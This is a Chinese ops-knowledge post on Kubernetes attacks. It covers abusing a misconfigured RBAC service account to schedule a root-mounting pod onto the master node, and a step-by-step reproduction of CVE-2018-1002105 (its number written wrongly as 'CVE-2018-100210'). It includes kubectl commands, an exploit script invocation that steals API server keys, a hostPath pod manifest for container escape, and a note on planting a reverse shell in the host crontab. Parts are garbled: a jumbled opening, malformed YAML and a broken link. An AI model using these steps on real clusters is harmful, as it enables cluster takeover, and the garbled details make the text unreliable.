运维知识点-Kubernetes_K8s
用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。在默认情况下,系统会为创建的Pod提供一个默认的Service Account,Service Account本质是服务账号,是Pod连接K8s集群的凭证。Pod关联的Service Account拥有创建Pod的权限。(3)在Pod创建时,Service Account关联的
Kubernetes
RBAC配置不当
Service Account本质是服务账号,是Pod连接K8s集群的凭证。
在默认情况下,系统会为创建的Pod提供一个默认的Service Account,
用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。
当攻击者通过某个web应用获取到一个Pod权限时,如果RBAC权限配置不当,
Pod关联的Service Account拥有创建Pod的权限。
攻击者就可以使用污点容忍
的方式,将挂载根目录的恶意Pod
调度到Master节点
,获取Master 节点上的 kubeconfig 文件,从而直接接管整个集群。
攻击场景
(1)Service Account赋予bypass对test名称空间拥有管理员权限。
kubectl create serviceaccount bypass -n test
kubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n test
kubectl get pod --as=system:serviceaccount:test:bypass
(2)在Pod中,使用自定义的Service Account。
# pod-sa.yaml
apiVersion: v1
kind: Pod
metadata:
name: pod-sa
namespace: test
spec:
serviceAccountName: "bypass"
containers:
- name: ubuntu
image: ubuntu:20.04
command: ['/bin/sh','-c','sleep 24h']
(3)在Pod创建时,Service Account关联的凭证,
会挂载到 /var/run/secrets/kubernetes.io/serviceaccount/ 目录,
其中ca.crt是证书、namespace是Pod所属的命名空间,
token是访问API Server的令牌 。
攻击过程
(1)攻击方式:kubectl 命令行操作
(2)攻击方式:curl 命令操作
CVE-2018-100210权限提升漏洞
利用的过程
构造错误请求,建立kuberneetes API server代理到kubelet的高权限websocket连接。
利用高权限websokcet连接,向kubelet发起/runningpods/请求,获取当前存活pod列表。
在存活的pod例表中找到kubernetes API server的pod名称。
在利用之前的websokcet连接,向kubelet发起exec请求后,获取kubernetes API server的pod中读取ca.crt、apiserver-kubelet-client.crt、apiserver-kubelet-client.key 数据。
使用kubectl命令行工具,利用上面获取的4个文件,创建挂载了宿主根目录的恶意pod,来实现容器逃逸。
复现过程
正常访问https://ip:6443/api/v1/namespaces/role/pods/test/exec时因为我们设置了Bearer Token验证所以返回403。
我们需要进行构造加上Bearer Token(在请求头Authorizat加上Bearer 1234567890)
利用exec接口的调用至少需要指定标准输入、标准输出或者错误输出的任意一个,所以没有对exec接口加上参数来达到构造错误请求。
使用脚本直接获取到namespaces下的kube-system的kube-apiserver中ca.crt、apiserver-kubelet-client.crt、apiserver-kubelet-client.key。
命令:python3 ./exploit.py --target xxx.xxx.xxx.xxx --port 6443 --bearer-token 1234567890 --namespace role --pod test
ruby 命令:kubectl --server=https://ip:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key apply -f attacker.yaml
使用ls命令查看宿主机的磁盘是否挂载到了创建的恶意pod中mnt目录下
命令:kubectl --server=https://192.3.62.241:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key exec myapp ls /mnt/root
接下来只需要向/mnt/etc/crontab写入反弹shell就能使用拿到宿主机权限以达到提权。
#exploit.py
https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.pyin/hostname
#attacker.yaml
apiVersion:v1
kind:Pod
metadata:
name:myapp
spec:
containers:
-image:nginx
name:test-container
volumeMounts:
-mountPath:/mnt
name:test-volume
volumes:
-name:test-volume
hostPath:
path:/
更多推荐
所有评论(0)